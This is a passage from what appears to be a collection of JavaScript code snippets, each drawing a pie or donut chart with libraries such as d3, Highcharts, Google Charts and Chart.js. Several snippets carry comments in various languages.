window.innerWidth / 580 + 7);\n }\n\n // Generate the pie chart using d3.pie\n var pie = new d3pie(\"pieChart\", pieChartOutline);\n }", "function drawPiChart(obj,container)\n{\n\nvar chart = Highcharts.chart(container, {\n title: {\n text: 'Courses weightage'\n },\n subtitle:{\n text: obj.title.subtitle\n },\n tooltip: {\n pointFormat: '{series.name}: <b>{point.y}</b>'\n },\n xAxis: {\n categories: obj.XAxis.categories\n },\n yAxis:{\n title: {text:'Weightage'},\n },\n series: [{\n type: 'column',\n colorByPoint: true,\n data: obj.pieChartData.data,\n showInLegend: false\n }]\n\n});\n\n\t/*Highcharts.chart(container, {\n chart: {\n plotBackgroundColor: null,\n plotBorderWidth: null,\n plotShadow: false,\n type: 'bar',\n polar:true\n },\n xAxis: {\n categories: obj.XAxis.categories\n },\n yAxis:{\n title: {text:'Weightage'},\n },\n title: {\n text: 'Courses weightage'\n },\n subtitle:{\n text: obj.title.subtitle\n },\n tooltip: {\n // pointFormat: '{series.name}: <b>{point.percentage:.1f}%</b>'\n },\n plotOptions: {\n pie: {\n allowPointSelect: true,\n cursor: 'pointer',\n dataLabels: {\n enabled: true,\n format: '<b>{point.name}</b>: {point.y} '\n }\n },\n series: {\n label: {\n connectorAllowed: false\n },\n }\n },\n series: [{\n name: 'Participant count',\n colorByPoint: true,\n data: obj.pieChartData.data\n }]\n});*/\n}", "function pieChart(a, b) {\n\n var data = new google.visualization.arrayToDataTable(pieArray, false);\n var chartOptions = {\n title: a,\n width: 380,\n height: 300,\n\n };\n\n var chart = new google.visualization.PieChart(document.getElementById(b));\n\n chart.draw(data, chartOptions);\n }", "function DrawPieChart() {\n var pieLabels = [];\n const sum = values.reduce((partial_sum, a) => partial_sum + a,0); \n\n labels.forEach(function(element, i, array){ \n var label = element + \" (\" + ((values[i]/sum)*100).toFixed(2) + \"%)\";\n pieLabels.push(label);\n });\n\n //Create the plot, type bar\n new Chartist.Pie('#ct-chart-pie',{\n labels: pieLabels,\n series: values,\n }, {\n width: 600,\n height: 600,\n chartPadding: 10,\n total: sum,\n showLabel: true,\n labelPosition: 'center',\n labelOffset: 225,\n labelDirection: 'neutral'\n },{\n //Options\n },[\n //ResponsiveOptions\n ]);\n\n}", "function pieChart(pD){\n var pC ={}, pieDim ={w:250, h: 250};\n pieDim.r = Math.min(pieDim.w, pieDim.h) / 2;\n\n // create svg for pie chart.\n var piesvg = d3.select(id).append(\"svg\")\n .attr(\"width\", pieDim.w).attr(\"height\", pieDim.h).append(\"g\")\n .attr(\"transform\", \"translate(\"+pieDim.w/2+\",\"+pieDim.h/2+\")\");\n\n // create function to draw the arcs of the pie slices.\n var arc = d3.svg.arc().outerRadius(pieDim.r - 10).innerRadius(0);\n\n // create a function to compute the pie slice angles.\n var pie = d3.layout.pie().sort(null).value(function(d) { return d.freq; });\n\n // Draw the pie slices.\n piesvg.selectAll(\"path\").data(pie(pD)).enter().append(\"path\").attr(\"d\", arc)\n .each(function(d) { this._current = d; })\n .style(\"fill\", function(d) { return segColor(d.data.type); })\n .on(\"mouseover\",mouseover).on(\"mouseout\",mouseout);\n\n // create function to update pie-chart. This will be used by histogram.\n pC.update = function(nD){\n piesvg.selectAll(\"path\").data(pie(nD)).transition().duration(500)\n .attrTween(\"d\", arcTween);\n }\n // Utility function to be called on mouseover a pie slice.\n function mouseover(d){\n // call the update function of histogram with new data.\n hG.update(fData.map(function(v){\n return [v.Month,v.freq[d.data.type]];}),segColor(d.data.type));\n }\n //Utility function to be called on mouseout a pie slice.\n function mouseout(d){\n // call the update function of histogram with all data.\n hG.update(fData.map(function(v){\n return [v.Month,v.total];}), barColor);\n }\n // Animating the pie-slice requiring a custom function which specifies\n // how the intermediate paths should be drawn.\n function arcTween(a) {\n var i = d3.interpolate(this._current, a);\n this._current = i(0);\n return function(t) { return arc(i(t)); };\n }\n return pC;\n }", "function pieFunction(id ,title ,label ,data){\n var pieChartData = {\n labels: title,\n datasets: [{\n data: data,\n backgroundColor: randomColor,\n borderColor: randomColor,\n borderWidth: 2,\n label: label\n }]\n };\n var ctx5 = document.getElementById(id).getContext('2d');\n window.myPie = new Chart(ctx5, {\n type: 'pie',\n data: pieChartData\n });\n}", "function plotPie(chartCanvas,data) {\n //Get context with jQuery - using jQuery's .get() method.\n var ctx = chartCanvas.get(0).getContext(\"2d\");\n\n options = {\n //Boolean - Whether we should show a stroke on each segment\n segmentShowStroke : true,\n \n //String - The colour of each segment stroke\n segmentStrokeColor : \"#fff\",\n \n //Number - The width of each segment stroke\n segmentStrokeWidth : 2,\n \n //Boolean - Whether we should animate the chart \n animation : true,\n \n //Number - Amount of animation steps\n animationSteps : 100,\n \n //String - Animation easing effect\n animationEasing : \"easeOutBounce\",\n \n //Boolean - Whether we animate the rotation of the Pie\n animateRotate : true,\n\n //Boolean - Whether we animate scaling the Pie from the centre\n animateScale : false,\n \n //Function - Will fire on animation completion.\n onAnimationComplete : null\n }\n\n //This will get the first returned node in the jQuery collection.\n var myNewChart = new Chart(ctx).Pie(data,options);\n\n}", "function initPieChart () {\n $.each($('.js-piechart-voda'), function () {\n var color = $(this).attr('data-color');\n $(this).easyPieChart({\n lineCap: 'round',\n lineWidth: 10,\n size: 180,\n barColor: color,\n trackColor: '#F4F4F4',\n scaleColor: false\n });\n });\n\n $('.js-change-piechart-voda .bullet-value').on('click', function (evt) {\n var container = $(this).closest('.js-change-piechart-voda');\n container.find('.bullet-value.active').removeClass('active');\n $(this).addClass('active');\n var typeText = $(this).attr('data-type');\n var percent = $(this).attr('data-percent');\n var title = $(this).attr('data-title');\n var price = $(this).attr('data-price');\n var note = $(this).attr('data-note');\n var chart = $(this).closest('.piechart-voda');\n\n chart.removeClass('simple price').addClass(typeText);\n chart.attr('data-percent', percent);\n chart.find('.piechart-title').html(title);\n chart.find('.piechart-price').html(price);\n chart.find('.piechart-note').html(note);\n\n chart.data('easyPieChart').update(0);\n chart.data('easyPieChart').update(percent);\n });\n}", "function drawpiechart(data){\n condition['otherdata']['data']['pie-chart'] = data;\n var widthp = $(\"#exTab1\").width();\n var heightp = $(\"#exTab1\").height() * 0.9;\n var donut = donutChart()\n .width(widthp)\n .height(heightp)\n .cornerRadius(3) // sets how rounded the corners are on each slice\n .padAngle(0.015) // effectively dictates the gap between slices\n .variable('percentage')\n .category('name');\n d3.select('#pie-chart')\n .datum(data) // bind data to the div\n .call(donut); // draw chart in div\n}", "function pieChart(pD){\n var pC ={}, pieDim ={w:200, h: 250};\n pieDim.r = Math.min(pieDim.w, pieDim.h) / 2;\n // create svg for pie chart.\n var piesvg = d3.select(id).append(\"svg\")\n .attr(\"id\",\"piechart\")\n .attr(\"width\", pieDim.w).attr(\"height\", pieDim.h).append(\"g\")\n .attr(\"transform\", \"translate(\"+pieDim.w/2+\",\"+ (25+ pieDim.h/2) +\")\");\n\n // create function to draw the arcs of the pie slices.\n var arc = d3.arc().outerRadius(pieDim.r - 10).innerRadius(0);\n\n // create a function to compute the pie slice angles.\n var pie = d3.pie().sort(null).value(function(d) { return d.freq; });\n\n // Draw the pie slices.\n piesvg.selectAll(\"path\").data(pie(pD)).enter().append(\"path\").attr(\"d\", arc)\n .each(function(d) { this._current = d; })\n .style(\"fill\", function(d) { return segColor(d.data.type); })\n //.on(\"mouseover\",mouseover).on(\"mouseout\",mouseout);\n //.on(\"click\", clickit);\n\n // create function to update pie-chart. This will be used by histogram.\n pC.update = function(nD){\n piesvg.selectAll(\"path\").data(pie(nD)).transition().duration(500)\n .attrTween(\"d\", arcTween);\n }\n // Utility function to be called on mouseover a pie slice.\n function clickit(d){\n // call the update function of histogram with new data.\n hG.update(fData.map(function(v){\n return [v.Designation,v.freq[d.data.type]];}),segColor(d.data.type));\n }\n function mouseover(d){\n // call the update function of histogram with new data.\n hG.update(fData.map(function(v){\n return [v.Designation,v.freq[d.data.type]];}),segColor(d.data.type));\n }\n //Utility function to be called on mouseout a pie slice.\n function mouseout(d){\n // call the update function of histogram with all data.\n hG.update(fData.map(function(v){\n return [v.Designation,v.total];}), barColor);\n }\n // Animating the pie-slice requiring a custom function which specifies\n // how the intermediate paths should be drawn.\n function arcTween(a) {\n var i = d3.interpolate(this._current, a);\n this._current = i(0);\n return function(t) { return arc(i(t)); };\n }\n return pC;\n }", "function pieChart(pD){\n var pC ={}, pieDim ={w:250, h: 250};\n pieDim.r = Math.min(pieDim.w, pieDim.h) / 2;\n \n // create svg for pie chart.\n var piesvg = d3.select(\"body\").append(\"svg\")\n .attr(\"class\", \"pie\")\n .attr(\"width\", pieDim.w).attr(\"height\", pieDim.h).append(\"g\")\n .attr(\"transform\", \"translate(\"+pieDim.w/2+\",\"+pieDim.h/2+\")\");\n\n //add instructions to the middle of the donut\n piesvg.append(\"text\")\n .attr(\"text-anchor\", \"middle\")\n .style(\"font\", \"sans-serif\")\n .text(\"Click on a Slice!\");\n\n \n // create function to draw the arcs of the pie slices.\n var arc = d3.svg.arc()\n .outerRadius(pieDim.r - 10)\n .innerRadius(pieDim.r - 50);\n\n // create a function to compute the pie slice angles.\n var pie = d3.layout.pie().sort(null).value(function(d) { return d.freq; });\n\n // Draw the pie slices.\n piesvg.selectAll(\"path\").data(pie(pD)).enter().append(\"path\").attr(\"d\", arc)\n .each(function(d) { this._current = d; })\n\n .style(\"fill\", function(d) { return segColor(d.data.type); })//update segColor to something else\n .attr(\"class\", function(d) { \n\n var select = d.data.type;\n select = select.split(' ').join('');\n select = select.split(',').join('');\n return select; })\n .attr(\"clicked\", false)\n .on(\"mouseover\",mouseover)\n .on(\"mouseout\",mouseout)\n .on(\"click\",click);\n\n // create function to update pie-chart. This will be used by histogram.\n pC.update = function(nD){\n piesvg.selectAll(\"path\").data(pie(nD)).transition().duration(500)\n .attrTween(\"d\", arcTween);\n } \n\n //if something on the pie chart has a click holding\n var somethingIsClicked = false;\n\n function click(d){\n \n var thisClicked = d3.select(this).attr(\"clicked\");\n var select = d.data.type;\n select = select.split(' ').join('');\n select = select.split(',').join('');\n\n //if this slice isn't clicked set other slices to a lower opacity, and set this one to max opacity,\n //then update the barchart\n if (thisClicked == \"false\"){\n piesvg.selectAll(\"path\")\n .attr(\"clicked\", false)\n .style(\"opacity\", \"0.2\");\n\n piesvg.selectAll(\".\" + select)\n .attr(\"clicked\", true)\n .style(\"opacity\", \"1\");;\n\n hG.update(fData.map(function(v){ \n // var val = \n return [v.ID,parseFloat(v.freq[d.data.type]),v.county,d.data.type];}),segColor(d.data.type));\n\n somethingIsClicked = true;\n\n //if this slice is already clicked reset all slices to standard opacity,\n //then update the barchart\n }else{\n piesvg.selectAll(\"path\")\n .attr(\"clicked\", false)\n .style(\"opacity\", \"0.9\");\n\n somethingIsClicked = false;\n\n hG.update(fData.map(function(v){\n return [v.ID,v.total,v.county,defaultBar];}), \"default\"); //update barColor to chloropleth\n\n }\n }\n \n // Utility function to be called on mouseover a pie slice.\n function mouseover(d){\n var select = d.data.type;\n select = select.split(' ').join('');\n select = select.split(',').join('');\n\n //if nother on the chart has been clicked yet, set lower opacity on hover,\n //then update\n if(!somethingIsClicked){\n\n piesvg.selectAll(\".\" + select)\n .style(\"opacity\", \"0.6\");\n\n hG.update(fData.map(function(v){ \n return [v.ID,parseFloat(v.freq[d.data.type]),v.county,d.data.type];}),segColor(d.data.type)); //update segColor to something else\n \n //if it has been clicked already\n }else{\n\n var tc = d3.select(this).attr(\"clicked\");\n \n //and this has been clicked keep everything the same\n if(tc == \"true\"){\n\n piesvg.selectAll(\"path\")\n .style(\"opacity\", \"0.2\");\n\n piesvg.selectAll(\".\" + select)\n .style(\"opacity\", \"1\");;\n \n //if this is not the clicked slice change the opacity\n }else{\n \n piesvg.selectAll(\".\" + select)\n .style(\"opacity\", \"0.6\");\n }\n \n }\n \n \n }\n //Utility function to be called on mouseout a pie slice.\n function mouseout(d){\n \n var select = d.data.type;\n select = select.split(' ').join('');\n select = select.split(',').join('');\n\n //if nothin is clicked when leaving slice, restyle all to normal opacity,\n //and update bar char to standard chart\n if(!somethingIsClicked){\n piesvg.selectAll(\".\" + select)\n .style(\"opacity\", \"0.9\");\n\n hG.update(fData.map(function(v){\n return [v.ID,v.total,v.county,defaultBar];}), \"default\"); \n\n //if something is clicked and it isn't this one restore it to light opacity\n }else{\n var tc = d3.select(this).attr(\"clicked\");\n if(tc == \"false\"){\n piesvg.selectAll(\".\" + select)\n .style(\"opacity\", \"0.2\");\n }\n }\n \n }\n \n // Animating the pie-slice requiring a custom function which specifies\n // how the intermediate paths should be drawn.\n function arcTween(a) {\n var i = d3.interpolate(this._current, a);\n this._current = i(0);\n return function(t) { return arc(i(t)); };\n } \n return pC;\n }", "fetchPieChartData(){\n this.borderColors = [\"#D98880\", \"#F1948A\", \"#C39BD3\", \"#BB8FCE\", \"#7FB3D5\", \"#85C1E9\",\"#76D7C4\", \"#73C6B6\", \"#7DCEA0\", \"#82E0AA\", \"#F7DC6F\", \"#F8C471\", \"#F0B27A\", \"#E59866\", \"#BFC9CA\", \"#85929E\"];\n var borderColorArr=[];\n var bgColorArr=[];\n for (var i in this.histogramArray){\n var colorRatio=0;\n if(this.borderColors.length >= this.xHeader.length){\n colorRatio = this.borderColors.length/this.xHeader.length;\n }\n else{\n colorRatio = 1;\n }\n borderColorArr.push(this.borderColors[Math.floor(i*(colorRatio))%this.borderColors.length]);\n bgColorArr.push(this.borderColors[Math.floor(i*(colorRatio))%this.borderColors.length]);\n }\n this.chart.data.datasets.push({\n label: this.xHeader,\n data: this.histogramArray,\n borderColor: borderColorArr,\n backgroundColor: bgColorArr,\n })\n this.chart.data.labels = this.histogramHeaders;\n this.chart.update();\n }", "function drawPieChart() {\n /*\n Entonces aqui le damos parametros de cual es la\n **** que vamos a mostrar y le decimos tambien\n cuales son las opciones\n */\n // Create the data table\n /*\n Evidentemente tod0 esto (o subrayado por verde) es ingorado porque esto\n pertenece a la biblioteca de Google, no esta localmente\n */\n const data = new google.visualization.DataTable();\n data.addColumn('string', 'Project Type');\n data.addColumn('number', 'Thousands of Requests');\n data.addRows([\n ['Automation', 3],\n ['Event Processing', 1],\n ['Gamification', 1],\n ['Geofencing', 1],\n ['Internet Of Things', 2]\n ]);\n // Set chart options\n const options = {\n 'title': 'Requests by Project Type',\n 'width': 500,\n 'height': 300\n };\n // Instantiate and draw the pie chart , passing in specified options.\n /*\n Aqui le decimo en que lugar queremos publicar, en el pie_div se plantara\n el grafico\n */\n var chart = new google.visualization.PieChart(document.getElementById('pie_div'));\n chart.draw(data, options); // se dibuja los datos que necesitamos con las optiones que tenemos\n\n // Redraw chart on window resize\n $(window).resize(function () {\n chart.draw(data, options);\n })\n /*\n Los pasos son claros para hacer los charts:\n 1. Se construye la fuente de datos\n 2. Se establecen las opciones\n 3. Se instancia el tipo de grafico que queremos\n 4. Se dibuja grafico\n */\n}", "function drawPieChart() {\r\n var data = google.visualization.arrayToDataTable([\r\n [\"Unified Portal\", \"Project completed\"],\r\n [\"NEB\", 8],\r\n [\"CTEVT\", 8],\r\n [\"UGC\", 5],\r\n [\"Kaiser Library\", 5],\r\n [\"Medical Education Commission\", 5],\r\n ]);\r\n\r\n // Optional; add a title and set the width and height of the chart\r\n var options = { title: \"Progress Chart\" };\r\n\r\n // Display the chart inside the <div> element with id=\"piechart\"\r\n var chart = new google.visualization.PieChart(\r\n document.getElementById(\"piechart\")\r\n ); \r\n chart.draw(data, options);\r\n }", "function drawPieChart() {\n\t$(function() {\n\t var plotObj = $.plot($(\"#flot-pie-chart\"), pie_data, {\n\t series: {\n\t pie: {\n\t show: true\n\t }\n\t },\n\t grid: {\n\t hoverable: true\n\t },\n\t \n\t tooltip: true,\n\t tooltipOpts: {\n\t content: \"%p.0%, %s\", // show percentages, rounding to 2 decimal places\n\t shifts: {\n\t x: 20,\n\t y: 0\n\t },\n\t defaultTheme: true\n\t },\n\t legend: {\n\t labelFormatter: function(label, series) {\n\t return '<div style=\"color: #fff; font-size: 1.0em\">'+label+': '+Math.round(series.percent)+'%'+'</div>';\n\t }\n\t }\n\t });\n\n $(\"#total_power\").text(\"어제 사용량 : \" + (total_power/1000).toFixed(2) + \"kW\");\n\t});\n}", "function createPieChart(chartContainer, chartTitle, dataContent, canvasHeight, outerLabelsColor){\n\t$(chartContainer).css('height', canvasHeight + 'px');\n\tvar pie = new d3pie(chartContainer, {\n\t\t\"header\": {\n\t\t\t\"title\": {\n\t\t\t\t\"text\": chartTitle,\n\t\t\t\t\"fontSize\": 24,\n\t\t\t\t\"font\": \"open sans\"\n\t\t\t}\n\t\t},\n\t\t\"size\": {\n\t\t\t\"canvasWidth\": $(chartContainer).width()*0.9,\n\t\t\t\"canvasHeight\": canvasHeight * 0.8\n\t\t},\n\t\t\"data\": {\n\t\t\t\"sortOrder\": \"value-desc\",\n\t\t\t\"content\": dataContent\n\t\t},\n\t\t\"tooltips\": {\n\t\t\t\"enabled\": true,\n\t\t\t\"type\": \"placeholder\",\n\t\t\t\"string\": \"{label}, {value}, {percentage}%\",\n\t\t\t\"styles\": {\n\t\t\t\t\"fadeInSpeed\": 500,\n\t\t\t\t\"backgroundColor\": \"#00cc99\",\n\t\t\t\t\"backgroundOpacity\": 0.9,\n\t\t\t\t\"color\": \"#ffffcc\",\n\t\t\t\t\"borderRadius\": 4, //Changed by Allan Clayton\n\t\t\t\t\"font\": \"verdana\",\n\t\t\t\t\"fontSize\": 14,\n\t\t\t\t\"padding\": 4 //Changed by Allan Clayton\n\t\t\t}\n\t\t},\n\t\t\"labels\": {\n\t\t\t\"outer\": {\n\t\t\t\t\"format\": \"none\",\n\t\t\t\t\"pieDistance\": 12,\n\t\t\t},\n\t\t\t\"inner\": {\n\t\t\t\t\"format\": \"percentage\",\n\t\t\t\t\"hideWhenLessThanPercentage\": 6 //Changed by Allan Clayton\n\t\t\t},\n\t\t\t\"mainLabel\": {\n\t\t\t\t\"fontSize\": 16\n\t\t\t},\n\t\t\t\"percentage\": {\n\t\t\t\t\"color\": \"#ffffff\",\n\t\t\t\t\"decimalPlaces\": 0,\n\t\t\t\t\"fontSize\": 11\n\t\t\t},\n\t\t\t\"value\": {\n\t\t\t\t\"color\": \"#adadad\",\n\t\t\t\t\"fontSize\": 11\n\t\t\t},\n\t\t\t\"lines\": {\n\t\t\t\t\"enabled\": true\n\t\t\t},\n\t\t},\n\t\t\"effects\": {\n\t\t\t\"pullOutSegmentOnClick\": {\n\t\t\t\t\"effect\": \"linear\",\n\t\t\t\t\"speed\": 400,\n\t\t\t\t\"size\": 8\n\t\t\t}\n\t\t},\n\t\t\"misc\": {\n\t\t\t\"gradient\": {\n\t\t\t\t\"enabled\": true,\n\t\t\t\t\"percentage\": 100\n\t\t\t}\n\t\t}\n\t});\n}", "function drawPieChart(employeeSales) {\n var element = document.getElementById(\"pie-chart\").getContext(\"2d\");\n\n var employees = Object.keys(employeeSales);\n var sales = Object.values(employeeSales);\n\n var totalSales = 0\n\n //calcolo le vendite totali\n for (var i = 0; i < sales.length; i++) {\n totalSales += sales[i];\n }\n\n var salesPercentages = [];\n\n //converto le vendite in percentuali\n for (var i = 0; i < sales.length; i++) {\n var percentage = ((sales[i] / totalSales) * 100).toFixed(1);\n\n salesPercentages.push(percentage);\n }\n\n console.log(\"vendite totali: \", totalSales);\n console.log(salesPercentages);\n\n var theChart = new Chart(element, {\n type: \"pie\",\n data: {\n labels: employees,\n datasets: [{\n label: 'Vendite',\n backgroundColor: [\n 'rgba(255, 99, 132, 1)',\n 'rgba(54, 162, 235, 1)',\n 'rgba(255, 206, 86, 1)',\n 'rgba(75, 192, 192, 1)'\n ],\n data: salesPercentages\n }]\n }\n })\n}", "function charts() {\n\n if ( notTriggered ) {\n $( '.ct-js-pieChart' ).each( function () {\n var $this = $( this );\n var $color = validatedata( $( this ).attr( 'data-ct-firstColor' ), \"#2b8be9\" );\n var $color2 = validatedata( $( this ).attr( 'data-ct-secondColor' ), \"#eeeeee\" );\n var $cutout = validatedata( $( this ).attr( 'data-ct-middleSpace' ), 90 );\n var $stroke = validatedata( $( this ).attr( 'data-ct-showStroke' ), false );\n var $margin = validatedata( $( this ).attr( 'data-ct-margin' ), false );\n var options = {\n responsive: true,\n percentageInnerCutout: $cutout,\n segmentShowStroke: $stroke,\n showTooltips: false\n };\n var doughnutData = [ {\n value: parseInt( $this.attr( 'data-ct-percentage' ) ),\n color: $color,\n label: false\n }, {\n value: parseInt( 100 - $this.attr( 'data-ct-percentage' ) ),\n color: $color2\n } ];\n\n var ctx = $this[ 0 ].getContext( \"2d\" );\n window.myDoughnut = new Chart( ctx ).Doughnut( doughnutData, options );\n } )\n }\n }", "function drawPie()\n{\n\n\nvar options = {\ntitle: 'My Pie Chart'\n};\n\nvar Piechart = new google.visualization.PieChart(document.getElementById('pieDiv'));\nPiechart.draw(data,options);\n}", "function createPieChart() {\n $(\"#chartContainer\").CanvasJSChart({ \n\t\ttitle: { \n\t\t\ttext: \"Restaurants (within the circle)\",\n\t\t\tfontSize: 24\n\t\t}, \n\t\tlegend :{ \n\t\t\tverticalAlign: \"center\", \n horizontalAlign: \"right\",\n title: \"Restaurants\"\n\t\t}, \n\t\tdata: [ \n { \n type: \"pie\", \n showInLegend: true, \n toolTipContent: \"{label} Restaurants\", \n indexLabel: \"{y} {label}\", \n dataPoints: processSampleData()\n } \n\t\t] \n\t}); \n}", "function drawChart(data, categorie) {\n\n if (!isEmpty(data)) {\n var chart_array = [['Subcategorie', 'Suma']];\n for (var key in data) {\n var entry = [key, parseFloat(data[key])];\n chart_array.push(entry);\n }\n\n var chart_data = google.visualization.arrayToDataTable(chart_array);\n var options = {\n title: \"Cheltuieli lunare \" + categorie,\n is3D: true\n };\n\n var formatter = new google.visualization.NumberFormat({prefix: '€ '});\n formatter.format(chart_data, 1);\n var chart = new google.visualization.PieChart(document.getElementById('piechart'));\n\n chart.draw(chart_data, options);\n }\n else {\n document.getElementById('piechart').innerHTML = \"\";\n document.getElementById('piechart').innerHTML = \"<h5>No data</h5>\";\n }\n}", "function drawPie(where) {\n\tconsole.log(where)\n\tgraphData = new google.visualization.DataTable();\n\tgraphData.addColumn('string', 'Element');\n\tgraphData.addColumn('number', 'Percentage');\n\t$.each(pieData, function (key, val) {\n\t\tgraphData.addRow([key, val]);\n\t})\n\tvar chart = new google.visualization.PieChart($(where)[0]);\n\tchart.draw(graphData, options);\n}", "function pieChart() {\n\n currentChart = \"pie chart\";\n\n var colours;\n if (currentColourScheme == \"colour 1\") {\n colours = pieColourOne;\n }\n else if (currentColourScheme == \"colour 2\") {\n colours = pieColourTwo;\n }\n else if (currentColourScheme == \"colour 3\") {\n colours = pieColourThree;\n }\n\n function drawPie() {\n //total hours on each activity\n var uni = 48;\n var gym = 6;\n var phone = 17;\n var other = 97;\n var conversion = Math.PI * 1/84;\n\n //the ratio of the hours (168 in total) in radians\n var angles = [conversion * other, conversion * uni, conversion * gym, conversion * phone];\n \n //the arcs of the circle are slightly offset to make them clearer\n var offset = 10;\n var startingAngle = 0;\n var endAngle = 0;\n\n var centreX = WIDTH/2;\n var centreY = HEIGHT/2;\n\n //for loop creating the pie chart \n //the offset values for x and y anff \n var offsetX, offsetY, middleAngle;\n \n //arc length depending on the size of the canvas \n var LENGTH = WIDTH*0.32;\n for(var i = 0; i < angles.length; i ++) {\n context.fillStyle = colours[i % colours.length];\n startingAngle = endAngle;\n endAngle = endAngle + angles[i];\n middleAngle = (endAngle + startingAngle) / 2;\n offsetX = Math.cos(middleAngle) * offset;\n offsetY = Math.sin(middleAngle) * offset;\n context.strokeStyle = 'black';\n context.beginPath();\n context.moveTo(centreX + offsetX, centreY + offsetY);\n context.arc(centreX + offsetX, centreY + offsetY, LENGTH, startingAngle, endAngle);\n context.lineTo(centreX + offsetX, centreY + offsetY);\n context.stroke();\n context.fill();\n }\n }\n\n function drawLabels() {\n\n //starting points based on the canvas size\n var y = WIDTH*0.85;\n var x = y - 12;\n //drawing the key for the pie chart \n var activities = ['other','uni','gym','phone'];\n for (var l = 0; l < activities.length; l++) {\n context.fillStyle = 'black';\n context.fillText(activities[l],y,25*l+50);\n }\n for (var s = 0; s < activities.length; s++) {\n context.fillStyle = colours[s % colours.length];\n context.fillRect(x,25*s+40,10,10);\n }\n\n }\n \n drawPie();\n drawLabels();\n \n\n}", "function drawChart() {\n // Create the data table.\n var data = new google.visualization.DataTable();\n data.addColumn('string', 'Topping');\n data.addColumn('number', 'Slices');\n data.addRows(Object.entries(ar_chart));\n\n // Set chart options\n var options = {'title':'Percentage of file size',\n 'width':500,\n 'height':200};\n\n // Instantiate and draw our chart, passing in some options.\n var chart = new google.visualization.PieChart(document.getElementById('chart_div'));\n chart.draw(data, options);\n }", "function renderPieChart() {\n var i, x, y, r, a1, a2, set, sum;\n\n x = width / 2;\n y = height / 2;\n r = Math.min(x, y) - 2;\n a1 = 1.5 * Math.PI;\n a2 = 0;\n set = sets[0];\n sum = sumSet(set);\n\n for (i = 0; i < set.length; i++) {\n ctx.fillStyle = colorOf(i);\n ctx.beginPath();\n a2 = a1 + (set[i] / sum) * (2 * Math.PI);\n\n // TODO opts.wedge\n ctx.arc(x, y, r, a1, a2, false);\n ctx.lineTo(x, y);\n ctx.fill();\n a1 = a2;\n }\n }", "function pieChart(pD) {\n var pC = {},\n pieDim = {\n w: 250,\n h: 250\n };\n pieDim.r = Math.min(pieDim.w, pieDim.h) / 2;\n\n // create svg for pie chart.\n var piesvg = d3.select(id).append(\"svg\")\n .attr(\"width\", pieDim.w).attr(\"height\", pieDim.h).append(\"g\")\n .attr(\"transform\", \"translate(\" + pieDim.w / 2 + \",\" + pieDim.h / 2 + \")\");\n\n // create function to draw the arcs of the pie slices.\n var arc = d3.svg.arc().outerRadius(pieDim.r - 10).innerRadius(0);\n\n // create a function to compute the pie slice angles.\n var pie = d3.layout.pie().sort(null).value(function(d) {\n return d.freq;\n });\n\n // Draw the pie slices.\n piesvg.selectAll(\"path\").data(pie(pD)).enter().append(\"path\").attr(\"d\", arc)\n .each(function(d) {\n this._current = d;\n })\n .style(\"fill\", function(d) {\n return segColor(d.data.type);\n })\n .on(\"mouseover\", mouseover).on(\"mouseout\", mouseout);\n\n // create function to update pie-chart. This will be used by histogram.\n pC.update = function(nD) {\n piesvg.selectAll(\"path\").data(pie(nD)).transition().duration(500)\n .attrTween(\"d\", arcTween);\n }\n // Utility function to be called on mouseover a pie slice.\n function mouseover(d) {\n // call the update function of histogram with new data.\n hG.update(fData.map(function(v) {\n return [v.State, v.freq[d.data.type]];\n }), segColor(d.data.type));\n }\n //Utility function to be called on mouseout a pie slice.\n function mouseout(d) {\n // call the update function of histogram with all data.\n hG.update(fData.map(function(v) {\n return [v.State, v.total];\n }), barColor);\n }\n // Animating the pie-slice requiring a custom function which specifies\n // how the intermediate paths should be drawn.\n function arcTween(a) {\n var i = d3.interpolate(this._current, a);\n this._current = i(0);\n return function(t) {\n return arc(i(t));\n };\n }\n return pC;\n }", "function loadPieChart() {\n var data = prepareDataPie();\n $('.highchartContainer').highcharts({\n chart: {\n type: 'pie',\n events: {\n drilldown: function (e) {\n var subTitle = e.seriesOptions.id;\n var count = e.seriesOptions.data.length;\n var chart = $('.highchartContainer').highcharts();\n chart.setTitle(null, { text: subTitle + ' - ' + count + ' countries.'});\n\t\t\t\t\tchart.yAxis[0].setTitle({ text: subTitle });\n },\n drillup: function(e) {\n var chart = $('.highchartContainer').highcharts();\n chart.setTitle(null, { text: ''});\n\t\t\t\t\t$('.highcharts-yaxis-title').hide();\n } ,\n load: function(event) {\n setTimeout(function () {\n $(document).resize();\n //$(metaInfo.chartContainer).highcharts().reflow();\n //$(window).resize();\n }, 100);\n }\n }\n },\n title: {\n text: data.title\n },\n\n tooltip: {\n backgroundColor: '#FCFFC5',\n formatter: function () {\n\n var tooltipHtml = '';\n if(this.series.options.type == 'pie') {\n tooltipHtml = '<b>' + this.y + ' </b>countries';\n }\n if(this.series.options.type == 'column'){\n tooltipHtml = '' + this.key +\n // '<br>' + data.title + ': <b>'+ Highcharts.numberFormat(this.y, 0); + '</b>';\n\t\t\t\t '<br>' + data.title + ': <b>'+dureUtil.numberWithSpace(numberWithRound(this.y, 2)); +'</b>';\n }\n return tooltipHtml;\n }\n },\n xAxis: {\n type: 'category',\n labels: {\n rotation: -45,\n style: {\n fontSize: '7px',\n fontFamily: 'Verdana, sans-serif',\n whiteSpace: 'normal',\n \"fontWeight\":\"bold\"\n }\n }\n },\n\n legend: {\n enabled: false\n },\n\n plotOptions: {\n\n pie: {\n dataLabels: {\n enabled: true\n }\n }\n },\n credits: {\n enabled: false\n },\n series: [{\n name: 'Chart',\n colorByPoint: true,\n data: data.series,\n type:'pie'\n }],\n drilldown: {\n series: data.drilldown,\n drillUpButton: {\n relativeTo: 'spacingBox',\n position: {\n y: 0,\n x: -30\n }\n }\n }\n });\n\n}", "function getPieData(){\r\n\t \t\t var jsonUnit = \"\";\r\n\t \t\t var color =\"\";\r\n\t \t\t var highlight=\"\";\r\n\t \t\t\r\n\t \t\t for(var i=0; i<mediaValues.length;i++){\r\n\t \t\t\t switch(i%5) {\r\n\t \t\t\t case 0:\r\n\t \t\t\t color = \"#4EC3E4\";\r\n\t \t\t\t highlight = \"#4EC3E4\";\r\n\t \t\t\t break;\r\n\t \t\t\t case 1:\r\n\t \t\t\t \tcolor = \"#65D99A\";\r\n\t \t\t\t \thighlight = \"#65D99A\";\r\n\t \t\t\t break;\r\n\t \t\t\t case 2:\r\n\t \t\t\t \tcolor = \"#FFCE56\";\r\n\t \t\t\t \thighlight = \"#FFCE56\";\r\n\t \t\t\t break;\r\n\t \t\t\t case 3:\r\n\t \t\t\t \tcolor = \"#F7464A\";\r\n\t \t\t\t \thighlight = \"#F7464A\";\r\n\t \t\t\t 